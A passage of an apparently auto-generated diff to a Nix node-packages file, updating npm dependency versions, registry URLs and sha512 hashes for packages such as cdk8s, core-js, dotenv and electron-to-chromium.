"caniuse-lite-1.0.30001587" = { name = "caniuse-lite"; packageName = "caniuse-lite"; - version = "1.0.30001582"; + version = "1.0.30001587"; src = fetchurl { - url = "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001582.tgz"; - sha512 = "vsJG3V5vgfduaQGVxL53uSX/HUzxyr2eA8xCo36OLal7sRcSZbibJtLeh0qja4sFOr/QQGt4opB4tOy+eOgAxg=="; + url = "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001587.tgz"; + sha512 = "HMFNotUmLXn71BQxg8cijvqxnIAofforZOwGsxyXJ0qugTdspUF4sPSJ2vhgprHCB996tIDzEq1ubumPDV8ULA=="; }; }; "canvas-2.11.2" = { @@ -18292,22 +18328,22 @@ let sha512 = "eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="; }; }; - "cdk8s-2.68.33" = { + "cdk8s-2.68.38" = { name = "cdk8s"; packageName = "cdk8s"; - version = "2.68.33"; + version = "2.68.38"; src = fetchurl { - url = "https://registry.npmjs.org/cdk8s/-/cdk8s-2.68.33.tgz"; - sha512 = "9VuUF5CBaU2KVd/4rECbTPKBWv0DmkpGpUDCN9g2YRzpvUNkzjEN1XkzHrYGwZIyDIOWOYOsj6iCkT5gsshFqg=="; + url = "https://registry.npmjs.org/cdk8s/-/cdk8s-2.68.38.tgz"; + sha512 = "1BMZ2lAt5TjaFnproUocU9oj1GLAIfUvdJAcrkso0SwsaaL2bV1rng5hJQZfK1xl2GbhpWLeep29kuSNGQWpwg=="; }; }; - "cdk8s-plus-25-2.22.73" = { + "cdk8s-plus-25-2.22.76" = { name = "cdk8s-plus-25"; packageName = "cdk8s-plus-25"; - version = "2.22.73"; + version = "2.22.76"; src = fetchurl { - url = "https://registry.npmjs.org/cdk8s-plus-25/-/cdk8s-plus-25-2.22.73.tgz"; - sha512 = "6UgE7r2cvRLy1e7m6xlVaifhf2XBjU2Tymv+Gm9RWjkhC2LfpTRbHSUXmwiWDhS+kl/F/m+NW/ZZCrSD/LVt2A=="; + url = "https://registry.npmjs.org/cdk8s-plus-25/-/cdk8s-plus-25-2.22.76.tgz"; + sha512 = "85WWL/++F4yc8clZ+LUAjE6qYiZDnKUTz+OMPtd44jgqYUaqWkCqcU3wA8HkIGUmCDUi9gYFGuctdw+3I8wu8A=="; }; }; "cdktf-0.20.3" = { @@ -18679,6 +18715,15 @@ let sha512 = "Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="; }; }; + "chokidar-3.6.0" = { + name = "chokidar"; + packageName = "chokidar"; + version = "3.6.0"; + src = fetchurl { + url = "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz"; + sha512 = "7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw=="; + }; + }; "chownr-1.1.4" = { name = "chownr"; packageName = "chownr"; @@ -20867,22 +20912,22 @@ let sha512 = "Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ=="; }; }; - "core-js-3.35.1" = { + "core-js-3.36.0" = { name = "core-js"; packageName = "core-js"; - version = "3.35.1"; + version = "3.36.0"; src = fetchurl { - url = "https://registry.npmjs.org/core-js/-/core-js-3.35.1.tgz"; - sha512 = "IgdsbxNyMskrTFxa9lWHyMwAJU5gXOPP+1yO+K59d50VLVAIDAbs7gIv705KzALModfK3ZrSZTPNpC0PQgIZuw=="; + url = "https://registry.npmjs.org/core-js/-/core-js-3.36.0.tgz"; + sha512 = "mt7+TUBbTFg5+GngsAxeKBTl5/VS0guFeJacYge9OmHb+m058UwwIm41SE9T4Den7ClatV57B6TYTuJ0CX1MAw=="; }; }; - "core-js-compat-3.35.1" = { + "core-js-compat-3.36.0" = { name = "core-js-compat"; packageName = "core-js-compat"; - version = "3.35.1"; + version = "3.36.0"; src = fetchurl { - url = "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.35.1.tgz"; - sha512 = "sftHa5qUJY3rs9Zht1WEnmkvXputCyDBczPnr7QDgL8n3qrF3CMXY4VPSYtOLLiOUJcah2WNXREd48iOl6mQIw=="; + url = "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.36.0.tgz"; + sha512 = "iV9Pd/PsgjNWBXeq8XRtWVSgz2tKAfhfvBs7qxYty+RlRd+OCksaWmOnc4JKrTc1cToXL1N0s3l/vwlxPtdElw=="; }; }; "core-util-is-1.0.2" = { @@ -21146,6 +21191,15 @@ let sha512 = "d6S6+ep7dJxsAG8OQQCdKuByI/S/AV64d9OF5mtmcykOyPu92cAkAnF3Tbc9s5oOaLQBYYQmTNvjqYRkPJ/u5Q=="; }; }; + "cross-dirname-0.1.0" = { + name = "cross-dirname"; + packageName = "cross-dirname"; + version = "0.1.0"; + src = fetchurl { + url = "https://registry.npmjs.org/cross-dirname/-/cross-dirname-0.1.0.tgz"; + sha512 = "+R08/oI0nl3vfPcqftZRpytksBXDzOUveBq/NBVx0sUp1axwzPQrKinNx5yd5sxPu8j1wIy8AfnVQ+5eFdha6Q=="; + }; + }; "cross-fetch-3.0.6" = { name = "cross-fetch"; packageName = "cross-fetch"; @@ -22037,13 +22091,13 @@ let sha512 = "p0bK60CEzph1iqmnxut7d/1kyTmm3UWtPlwdkM31AU+LW+BXazd5zJdoCn7VFxNCHXRngPHRnsNn5uGjLRGndg=="; }; }; - "d3-graphviz-5.2.0" = { + "d3-graphviz-5.3.0" = { name = "d3-graphviz"; packageName = "d3-graphviz"; - version = "5.2.0"; + version = "5.3.0"; src = fetchurl { - url = "https://registry.npmjs.org/d3-graphviz/-/d3-graphviz-5.2.0.tgz"; - sha512 = "M/2gQkSe5beBQFmE2Qh8RPZivOV48GR4pVPV8kWQ6lBs1TqIjgGqi/AOvKTLILDLTwVx4KSGHCnH62K8xyDwvg=="; + url = "https://registry.npmjs.org/d3-graphviz/-/d3-graphviz-5.3.0.tgz"; + sha512 = "esY291tZsn4NKxnJa1CVsgyc1KFUp1AlZz81GWyJadrM648iEnVpcXeGKqjyXbkLkeI59Dc2YmkuWE07eG+fYw=="; }; }; "d3-hierarchy-3.1.2" = { @@ -22919,13 +22973,13 @@ let sha512 = "4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg=="; }; }; - "define-data-property-1.1.1" = { + "define-data-property-1.1.4" = { name = "define-data-property"; packageName = "define-data-property"; - version = "1.1.1"; + version = "1.1.4"; src = fetchurl { - url = "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.1.tgz"; - sha512 = "E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ=="; + url = "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz"; + sha512 = "rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="; }; }; "define-lazy-prop-2.0.0" = { @@ -23369,6 +23423,15 @@ let sha512 = "D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw=="; }; }; + "diff-5.2.0" = { + name = "diff"; + packageName = "diff"; + version = "5.2.0"; + src = fetchurl { + url = "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz"; + sha512 = "uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A=="; + }; + }; "diff-match-patch-1.0.5" = { name = "diff-match-patch"; packageName = "diff-match-patch"; @@ -23918,13 +23981,13 @@ let sha512 = "HTlk5nmhkm8F6JcdXvHIzaorzCoziNQT9mGxLPVXW8wJF1TiGSL60ZGB4gHWabHOaMmWmhvk2/lPHfnBiT78AQ=="; }; }; - "dotenv-16.4.1" = { + "dotenv-16.4.4" = { name = "dotenv"; packageName = "dotenv"; - version = "16.4.1"; + version = "16.4.4"; src = fetchurl { - url = "https://registry.npmjs.org/dotenv/-/dotenv-16.4.1.tgz"; - sha512 = "CjA3y+Dr3FyFDOAMnxZEGtnW9KBR2M0JvvUtXNW+dYJL5ROWxP9DUHCwgFqpMk0OXCc0ljhaNTr2w/kutYIcHQ=="; + url = "https://registry.npmjs.org/dotenv/-/dotenv-16.4.4.tgz"; + sha512 = "XvPXc8XAQThSjAbY6cQ/9PcBXmFoWuw1sQ3b8HqUCR6ziGXjkTi//kB9SWa2UwqlgdAIuRqAa/9hVljzPehbYg=="; }; }; "dotenv-7.0.0" = { @@ -24188,13 +24251,13 @@ let sha512 = "8E4ZLK4uRuB9pwywGpy/B9vcz4gCp6IY7u4cMbeCINr/fjb1v+0wf0Ae2XlfSnG8xZYnE4uaJBjFkYI0bqcIdw=="; }; }; - "edge-runtime-2.5.7" = { + "edge-runtime-2.5.9" = { name = "edge-runtime"; packageName = "edge-runtime"; - version = "2.5.7"; + version = "2.5.9"; src = fetchurl { - url = "https://registry.npmjs.org/edge-runtime/-/edge-runtime-2.5.7.tgz"; - sha512 = "gA4qSVP0sNwJlkdQ2nahDPASlSl8twUd17o+JolPa1EtXpLTGzIpOETvodgJwXIxa+zaD8bnAXCdsWrx2PhlVQ=="; + url = "https://registry.npmjs.org/edge-runtime/-/edge-runtime-2.5.9.tgz"; + sha512 = "pk+k0oK0PVXdlT4oRp4lwh+unuKB7Ng4iZ2HB+EZ7QCEQizX360Rp/F4aRpgpRgdP2ufB35N+1KppHmYjqIGSg=="; }; }; "editorconfig-1.0.4" = { @@ -24224,13 +24287,13 @@ let sha512 = "rC+QVNMJWv+MtPgkt0y+0rVEIdbtxVADApW9JXrUVlzHetgcyczP/E7DJmWJ4fJCZF2cPcBk0laWO9ZHMG3DmQ=="; }; }; - "electron-to-chromium-1.4.653" = { + "electron-to-chromium-1.4.673" = { name = "electron-to-chromium"; packageName = "electron-to-chromium"; - version = "1.4.653"; + version = "1.4.673"; src = fetchurl { - url = "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.653.tgz"; - sha512 = "wA2A2LQCqnEwQAvwADQq3KpMpNwgAUBnRmrFgRzHnPhbQUFArTR32Ab46f4p0MovDLcg4uqd4nCsN2hTltslpA=="; + url = "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.673.tgz"; + sha512 = "zjqzx4N7xGdl5468G+vcgzDhaHkaYgVcf9MqgexcTqsl2UHSCmOj/Bi3HAprg4BZCpC7HyD8a6nZl6QAZf72gw=="; }; }; "elegant-spinner-1.0.1" = { @@ -24549,13 +24612,13 @@ let sha512 = "P+jDFbvK6lE3n1OL+q9KuzdOFWkkZ/cMV9gol/SbVfpyqfvrfrFTOFJ6fQm2VC3PZHlU3QPhVwmbsCnauHF2MQ=="; }; }; - "engine.io-parser-5.2.1" = { + "engine.io-parser-5.2.2" = { name = "engine.io-parser"; packageName = "engine.io-parser"; - version = "5.2.1"; + version = "5.2.2"; src = fetchurl { - url = "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.1.tgz"; - sha512 = "9JktcM3u18nU9N2Lz3bWeBgxVgOKpw7yhRaoxQA3FUDZzzw+9WlA6p4G4u0RixNkg14fH7EfEc/RhpurtiROTQ=="; + url = "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.2.tgz"; + sha512 = "RcyUFKA93/CXH20l4SoVvzZfrSDMOTUS3bWVpTt2FuFP+XYrL8i8oonHP7WInRyVHXh0n/ORtoeiE1os+8qkSw=="; }; }; "enhanced-resolve-2.3.0" = { @@ -24729,6 +24792,15 @@ let sha512 = "G9/6xF1FPbIw0TtalAMaVPpiq2aDEuKLXM314jPVAO9r2fo2a4BLqMNkmRS7O/xPPZ+COAhGIz3ETvHEV3eUcg=="; }; }; + "envinfo-7.11.1" = { + name = "envinfo"; + packageName = "envinfo"; + version = "7.11.1"; + src = fetchurl { + url = "https://registry.npmjs.org/envinfo/-/envinfo-7.11.1.tgz"; + sha512 = "8PiZgZNIB4q/Lw4AhOvAfB/ityHAd2bli3lESSWmWSzSsl5dKpy5N1d1Rfkd2teq/g9xN90lc6o98DOjMeYHpg=="; + }; + }; "envinfo-7.8.1" = { name = "envinfo"; packageName = "envinfo"; @@ -24801,22 +24873,22 @@ let sha512 = "rcOwbfvP1WTViVoUjcfZicVzjhjTuhSMntHh6mW3IrEiyE6mJyXvsToJUJGlGlw/2xU9P5whlWNGlIDVeCiT4A=="; }; }; - "es-abstract-1.22.3" = { + "es-abstract-1.22.4" = { name = "es-abstract"; packageName = "es-abstract"; - version = "1.22.3"; + version = "1.22.4"; src = fetchurl { - url = "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.3.tgz"; - sha512 = "eiiY8HQeYfYH2Con2berK+To6GrK2RxbPawDkGq4UiCQQfZHb6wX9qQqkbpPqaxQFcl8d9QzZqo0tGE0VcrdwA=="; + url = "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.4.tgz"; + sha512 = "vZYJlk2u6qHYxBOTjAeg7qUxHdNfih64Uu2J8QqWgXZ2cri0ZpJAkzDUK/q593+mvKwlxyaxr6F1Q+3LKoQRgg=="; }; }; - "es-aggregate-error-1.0.11" = { + "es-aggregate-error-1.0.12" = { name = "es-aggregate-error"; packageName = "es-aggregate-error"; - version = "1.0.11"; + version = "1.0.12"; src = fetchurl { - url = "https://registry.npmjs.org/es-aggregate-error/-/es-aggregate-error-1.0.11.tgz"; - sha512 = "DCiZiNlMlbvofET/cE55My387NiLvuGToBEZDdK9U2G3svDCjL8WOgO5Il6lO83nQ8qmag/R9nArdpaFQ/m3lA=="; + url = "https://registry.npmjs.org/es-aggregate-error/-/es-aggregate-error-1.0.12.tgz"; + sha512 = "j0PupcmELoVbYS2NNrsn5zcLLEsryQwP02x8fRawh7c2eEaPHwJFAxltZsqV7HJjsF57+SMpYyVRWgbVLfOagg=="; }; }; "es-array-method-boxes-properly-1.0.0" = { @@ -24828,6 +24900,24 @@ let sha512 = "wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA=="; }; }; + "es-define-property-1.0.0" = { + name = "es-define-property"; + packageName = "es-define-property"; + version = "1.0.0"; + src = fetchurl { + url = "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz"; + sha512 = "jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="; + }; + }; + "es-errors-1.3.0" = { + name = "es-errors"; + packageName = "es-errors"; + version = "1.3.0"; + src = fetchurl { + url = "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz"; + sha512 = "Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="; + }; + }; "es-escape-html-0.1.1" = { name = "es-escape-html"; packageName = "es-escape-html"; @@ -24846,13 +24936,13 @@ let sha512 = "sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw=="; }; }; - "es-iterator-helpers-1.0.15" = { + "es-iterator-helpers-1.0.17" = { name = "es-iterator-helpers"; packageName = "es-iterator-helpers"; - version = "1.0.15"; + version = "1.0.17"; src = fetchurl { - url = "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.15.tgz"; - sha512 = "GhoY8uYqd6iwUl2kgjTm4CZAf6oo5mHK7BPqx3rKgx893YSsy0LGHV6gfqqQvZt/8xM8xeOnfXBCfqclMKkJ5g=="; + url = "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.17.tgz"; + sha512 = "lh7BsUqelv4KUbR5a/ZTaGGIMLCjPGPqJ6q+Oq24YP0RdyptX1uzm4vvaqzk7Zx3bpl/76YLTTDj9L7uYQ92oQ=="; }; }; "es-module-lexer-1.4.1" = { @@ -25233,13 +25323,13 @@ let sha512 = "flJEhtHCj5qEJi9zY3Taq2YHHJ2WgowI6Krmrr32lbeEBwBxGOJoZ7s9fxzHTq5sMkz8d95o25Y7hhV1lzM4Gg=="; }; }; - "escalade-3.1.1" = { + "escalade-3.1.2" = { name = "escalade"; packageName = "escalade"; - version = "3.1.1"; + version = "3.1.2"; src = fetchurl { - url = "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz"; - sha512 = "k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw=="; + url = "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz"; + sha512 = "ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA=="; }; }; "escape-goat-2.1.1" = { @@ -26196,13 +26286,13 @@ let sha512 = "S8qfaXCv//7tQWV9M+JKx3CF7ypYhDdSUbkUQdaVO/r8D76/aRTArY/aRw1yEfaAOzyK8C8diDToV1itl51DfQ=="; }; }; - "expo-modules-autolinking-1.10.2" = { + "expo-modules-autolinking-1.10.3" = { name = "expo-modules-autolinking"; packageName = "expo-modules-autolinking"; - version = "1.10.2"; + version = "1.10.3"; src = fetchurl { - url = "https://registry.npmjs.org/expo-modules-autolinking/-/expo-modules-autolinking-1.10.2.tgz"; - sha512 = "OEeoz0+zGx5EJwGtDm9pSywCr+gUCaisZV0mNkK7V3fuRl+EVPBSsI+957JwAc4ZxVps95jy28eLcRRtQ33yVg=="; + url = "https://registry.npmjs.org/expo-modules-autolinking/-/expo-modules-autolinking-1.10.3.tgz"; + sha512 = "pn4n2Dl4iRh/zUeiChjRIe1C7EqOw1qhccr85viQV7W6l5vgRpY0osE51ij5LKg/kJmGRcJfs12+PwbdTplbKw=="; }; }; "expo-modules-autolinking-1.2.0" = { @@ -26790,13 +26880,13 @@ let sha512 = "eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg=="; }; }; - "fastq-1.17.0" = { + "fastq-1.17.1" = { name = "fastq"; packageName = "fastq"; - version = "1.17.0"; + version = "1.17.1"; src = fetchurl { - url = "https://registry.npmjs.org/fastq/-/fastq-1.17.0.tgz"; - sha512 = "zGygtijUMT7jnk3h26kUms3BkSDp4IfIKjmnqI2tvx6nuBfiF1UqOxbnLfzdv+apBy+53oaImsKtMw/xYbW+1w=="; + url = "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz"; + sha512 = "sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="; }; }; "fault-1.0.4" = { @@ -27555,13 +27645,13 @@ let sha512 = "dz4HxH6pOvbUzZpZ/yXhafjbR2I8cenK5xL0KtBFb7U2ADsR+OwXifnxZjij/pZWF775uSCMzWVd+jDik2H2IA=="; }; }; - "flow-parser-0.227.0" = { + "flow-parser-0.229.0" = { name = "flow-parser"; packageName = "flow-parser"; - version = "0.227.0"; + version = "0.229.0"; src = fetchurl { - url = "https://registry.npmjs.org/flow-parser/-/flow-parser-0.227.0.tgz"; - sha512 = "nOygtGKcX/siZK/lFzpfdHEfOkfGcTW7rNroR1Zsz6T/JxSahPALXVt5qVHq/fgvMJuv096BTKbgxN3PzVBaDA=="; + url = "https://registry.npmjs.org/flow-parser/-/flow-parser-0.229.0.tgz"; + sha512 = "mOYmMuvJwAo/CvnMFEq4SHftq7E5188hYMTTxJyQOXk2nh+sgslRdYMw3wTthH+FMcFaZLtmBPuMu6IwztdoUQ=="; }; }; "fluent-ffmpeg-2.1.2" = { @@ -28491,13 +28581,13 @@ let sha512 = "Qkn9eq6tW5/q9BDVdMpB8tOHljX9OSP0jRC5TRNVA4qRc839t4g8KQaR8t0Uv0EFVL0MlyG7m/ofjEgAROtYsA=="; }; }; - "get-intrinsic-1.2.2" = { + "get-intrinsic-1.2.4" = { name = "get-intrinsic"; packageName = "get-intrinsic"; - version = "1.2.2"; + version = "1.2.4"; src = fetchurl { - url = "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.2.tgz"; - sha512 = "0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA=="; + url = "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz"; + sha512 = "5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="; }; }; "get-package-info-1.0.0" = { @@ -28698,13 +28788,13 @@ let sha512 = "VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA=="; }; }; - "get-symbol-description-1.0.0" = { + "get-symbol-description-1.0.2" = { name = "get-symbol-description"; packageName = "get-symbol-description"; - version = "1.0.0"; + version = "1.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz"; - sha512 = "2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw=="; + url = "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.2.tgz"; + sha512 = "g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="; }; }; "get-them-args-1.3.2" = { @@ -28977,15 +29067,6 @@ let sha512 = "OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ=="; }; }; - "glob-7.2.0" = { - name = "glob"; - packageName = "glob"; - version = "7.2.0"; - src = fetchurl { - url = "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz"; - sha512 = "lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q=="; - }; - }; "glob-7.2.3" = { name = "glob"; packageName = "glob"; @@ -29266,13 +29347,13 @@ let sha512 = "Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w=="; }; }; - "globby-14.0.0" = { + "globby-14.0.1" = { name = "globby"; packageName = "globby"; - version = "14.0.0"; + version = "14.0.1"; src = fetchurl { - url = "https://registry.npmjs.org/globby/-/globby-14.0.0.tgz"; - sha512 = "/1WM/LNHRAOH9lZta77uGbq0dAEQM+XjNesWwhlERDVenqothRbnzTrL3/LrIoEPPjeUHC3vrS6TwoyxeHs7MQ=="; + url = "https://registry.npmjs.org/globby/-/globby-14.0.1.tgz"; + sha512 = "jOMLD2Z7MAhyG8aJpNOpmziMOP4rPLcc95oQPKXBazW82z+CEgPFBQvEpRUa1KeIMUJo4Wsm+q6uzO/Q/4BksQ=="; }; }; "globby-6.1.0" = { @@ -29698,13 +29779,13 @@ let sha512 = "sHkK9+lUm20/BGawNEWNtVAeJzhZeBg21VmvmLoT5NdGVeZWv5PdIhkcayQIAgjSyyQ17WMKmbDijIPG2On+Ag=="; }; }; - "graphql-ws-5.14.3" = { + "graphql-ws-5.15.0" = { name = "graphql-ws"; packageName = "graphql-ws"; - version = "5.14.3"; + version = "5.15.0"; src = fetchurl { - url = "https://registry.npmjs.org/graphql-ws/-/graphql-ws-5.14.3.tgz"; - sha512 = "F/i2xNIVbaEF2xWggID0X/UZQa2V8kqKDPO8hwmu53bVOcTL7uNkxnexeEgSCVxYBQUTUNEI8+e4LO1FOhKPKQ=="; + url = "https://registry.npmjs.org/graphql-ws/-/graphql-ws-5.15.0.tgz"; + sha512 = "xWGAtm3fig9TIhSaNsg0FaDZ8Pyn/3re3RFlP4rhQcmjRDIPpk1EhRuNB+YSJtLzttyuToaDiNhwT1OMoGnJnw=="; }; }; "growly-1.3.0" = { @@ -29923,13 +30004,13 @@ let sha512 = "Pq0h+hvsVm6dDEa8x82GnLSYHOzNDt7f0ddFa3FqcQlgzEiptPqL+XrOJNavjOzSYiYWIrgeVYYgGlLmnxwilQ=="; }; }; - "has-property-descriptors-1.0.1" = { + "has-property-descriptors-1.0.2" = { name = "has-property-descriptors"; packageName = "has-property-descriptors"; - version = "1.0.1"; + version = "1.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.1.tgz"; - sha512 = "VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg=="; + url = "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz"; + sha512 = "55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg=="; }; }; "has-proto-1.0.1" = { @@ -29968,13 +30049,13 @@ let sha512 = "vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw=="; }; }; - "has-tostringtag-1.0.0" = { + "has-tostringtag-1.0.2" = { name = "has-tostringtag"; packageName = "has-tostringtag"; - version = "1.0.0"; + version = "1.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz"; - sha512 = "kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ=="; + url = "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz"; + sha512 = "NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="; }; }; "has-unicode-2.0.1" = { @@ -30103,13 +30184,13 @@ let sha512 = "U/fnTE3edW0AV92ZI/BfEluMZuVcu3MDOopsN7jS+HqDYcarQo8rXQiWlsBlm0uX48/taYSdxRsfzh2HRg5Z6w=="; }; }; - "hasown-2.0.0" = { + "hasown-2.0.1" = { name = "hasown"; packageName = "hasown"; - version = "2.0.0"; + version = "2.0.1"; src = fetchurl { - url = "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz"; - sha512 = "vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA=="; + url = "https://registry.npmjs.org/hasown/-/hasown-2.0.1.tgz"; + sha512 = "1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA=="; }; }; "hast-util-embedded-2.0.1" = { @@ -30805,13 +30886,13 @@ let sha512 = "n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w=="; }; }; - "http-proxy-agent-7.0.0" = { + "http-proxy-agent-7.0.2" = { name = "http-proxy-agent"; packageName = "http-proxy-agent"; - version = "7.0.0"; + version = "7.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.0.tgz"; - sha512 = "+ZT+iBxVUQ1asugqnD6oWoRiS25AkjNfG085dKJGtGxkdwLQrMKU5wJr2bOOFAXzKcTuqq+7fZlTMgG3SRfIYQ=="; + url = "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz"; + sha512 = "T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig=="; }; }; "http-proxy-middleware-2.0.6" = { @@ -30940,13 +31021,13 @@ let sha512 = "dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="; }; }; - "https-proxy-agent-7.0.2" = { + "https-proxy-agent-7.0.4" = { name = "https-proxy-agent"; packageName = "https-proxy-agent"; - version = "7.0.2"; + version = "7.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz"; - sha512 = "NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="; + url = "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.4.tgz"; + sha512 = 